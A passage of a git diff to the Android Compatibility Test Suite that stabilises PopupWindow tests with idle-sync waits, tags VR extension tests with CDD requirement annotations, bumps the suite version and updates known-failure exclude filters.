             final int orientation = orientationValues[i];
+            if (orientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+                    && !hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)) {
+                // skip test for devices not supporting portrait orientation
+                continue;
+            }
             mActivity.runOnUiThread(() ->
                     mActivity.setRequestedOrientation(orientation));
             mActivity.waitForConfigurationChanged();
+            // Wait for main thread to be idle to make sure layout and draw have been performed
+            // before continuing.
+            mInstrumentation.waitForIdleSync();
 
             View parentWindowView = mActivity.getWindow().getDecorView();
             int parentWidth = parentWindowView.getMeasuredWidth();
@@ -1398,6 +1414,9 @@
                 mPopupWindow.getContentView().getRootView(),
                 () -> container.scrollBy(deltaX, deltaY),
                 false  /* force layout */);
+        // Since the first layout might have been caused by the original scroll event (and not by
+        // the anchor change), we need to wait until all traversals are done.
+        mInstrumentation.waitForIdleSync();
         assertPopupLocation(originalLocation, deltaX, deltaY);
 
         // Detach the anchor, the popup should stay in the same location.
@@ -1414,6 +1433,7 @@
                 mActivity.getWindow().getDecorView(),
                 () -> container.scrollBy(deltaX, deltaY),
                 true  /* force layout */);
+        mInstrumentation.waitForIdleSync();
         assertPopupLocation(originalLocation, deltaX, deltaY);
 
         // Re-attach the anchor, the popup should snap back to the new anchor location.
@@ -1530,6 +1550,10 @@
                 () -> container.scrollBy(deltaX, deltaY),
                 false  /* force layout */);
 
+        // Since the first layout might have been caused by the original scroll event (and not by
+        // the anchor change), we need to wait until all traversals are done.
+        mInstrumentation.waitForIdleSync();
+
         final int[] newPopupLocation = mPopupWindow.getContentView().getLocationOnScreen();
         assertEquals(popupLocation[0] - deltaX, newPopupLocation[0]);
         assertEquals(popupLocation[1] - deltaY, newPopupLocation[1]);
@@ -1584,6 +1608,10 @@
         return window;
     }
 
+    private boolean hasDeviceFeature(final String requiredFeature) {
+        return mContext.getPackageManager().hasSystemFeature(requiredFeature);
+    }
+
     private void showPopup(int resourceId) throws Throwable {
         mActivityRule.runOnUiThread(() -> {
             if (mPopupWindow == null || mPopupWindow.isShowing()) {
diff --git a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
index a27633a..e7dafa2 100644
--- a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
+++ b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
@@ -20,6 +20,8 @@
 import android.opengl.GLES32;
 import android.test.ActivityInstrumentationTestCase2;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class VrExtensionBehaviorTest extends ActivityInstrumentationTestCase2<OpenGLESActivity> {
     static {
         System.loadLibrary("ctsvrextensions_jni");
@@ -53,6 +55,7 @@
     /**
      * Tests that protected content contexts and surfaces can be created.
      */
+    @CddTest(requirement="7.9.2/C-1-6")
     public void testProtectedContent() throws Throwable {
         mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
         if (!mActivity.supportsVrHighPerformance())
@@ -77,6 +80,7 @@
     /**
      * Tests that textures can be marked as protected.
      */
+    @CddTest(requirement="7.9.2/C-1-8")
     public void testProtectedTextures() throws Throwable {
         mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_PROTECTEDTEXTURES, 1, 0, 0);
         if (!mActivity.supportsVrHighPerformance())
@@ -104,6 +108,7 @@
     /**
      * Tests that context priority can be set to high.
      */
+    @CddTest(requirement="7.9.2/C-1-6")
     public void testContextPriorityHigh() throws Throwable {
         runContextPriorityTest(EGL_CONTEXT_PRIORITY_HIGH_IMG);
     }
@@ -111,6 +116,7 @@
     /**
      * Tests that context priority can be set to medium.
      */
+    @CddTest(requirement="7.9.2/C-1-6")
     public void testContextPriorityMedium() throws Throwable {
         runContextPriorityTest(EGL_CONTEXT_PRIORITY_MEDIUM_IMG);
     }
@@ -118,6 +124,7 @@
     /**
      * Tests that context priority can be set to low.
      */
+    @CddTest(requirement="7.9.2/C-1-6")
     public void testContextPriorityLow() throws Throwable {
         runContextPriorityTest(EGL_CONTEXT_PRIORITY_LOW_IMG);
     }
@@ -125,6 +132,7 @@
     /**
      * Tests that context priority can be set to low.
      */
+    @CddTest(requirement="7.9.2/C-1-6")
     public void testMutableRenderBuffer() throws Throwable {
 
         mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 1);
@@ -160,6 +168,7 @@
      * For more information, see the EGL_image_array spec:
      * https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_EGL_image_array.txt
      */
+    @CddTest(requirement="7.9.2/C-1-8,C-1-10")
     public void testEglImageArray() throws Throwable {
         mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
         if (!mActivity.supportsVrHighPerformance())
@@ -179,6 +188,7 @@
      * For more information, see the GL_EXT_external_buffer spec:
      * https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_external_buffer.txt
      */
+    @CddTest(requirement="7.9.2/C-1-8")
     public void testExternalBuffer() throws Throwable {
         mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
         if (!mActivity.supportsVrHighPerformance())
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index 3950cb0..509d18c 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
 LOCAL_SUITE_NAME := CTS
 LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 8.1_r7
+LOCAL_SUITE_VERSION := 8.1_r15
 LOCAL_STATIC_JAVA_LIBRARIES += cts-tradefed-harness
 
 LOCAL_MODULE := cts-tradefed
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 90a3213..b68ed93 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -94,7 +94,7 @@
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.MediaCryptoTest#testMediaCryptoWidevine" />
 
     <!-- b/62302163 -->
-    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.Poc17_04#testPocCVE_2017_0564" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityBulletinHostTestCases android.security.cts.Poc17_04#testPocCVE_2017_0564" />
 
     <!-- b/27873815 -->
     <option name="compatibility:exclude-filter" value="arm64-v8a CtsRenderscriptLegacyTestCases" />
@@ -203,6 +203,9 @@
     <!-- b/67377433 -->
     <!-- fails only on angler/bullhead userdebug -->
     <option name="compatibility:exclude-filter" value="CtsLiblogTestCases liblog#wrap_mode_blocks" />
+    <!--b/118833202 -->
+    <!-- test fails if usb charging is disabled which is not mandatory -->
+    <option name="compatibility:exclude-filter" value="CtsDumpsysHostTestCases  android.dumpsys.cts.StoragedDumpsysTest#testStoragedOutput" />
 
     <!-- b/126515980 -->
     <!-- fails on some devices because the IME blocks the screen, causing UIAutomator queries to fail -->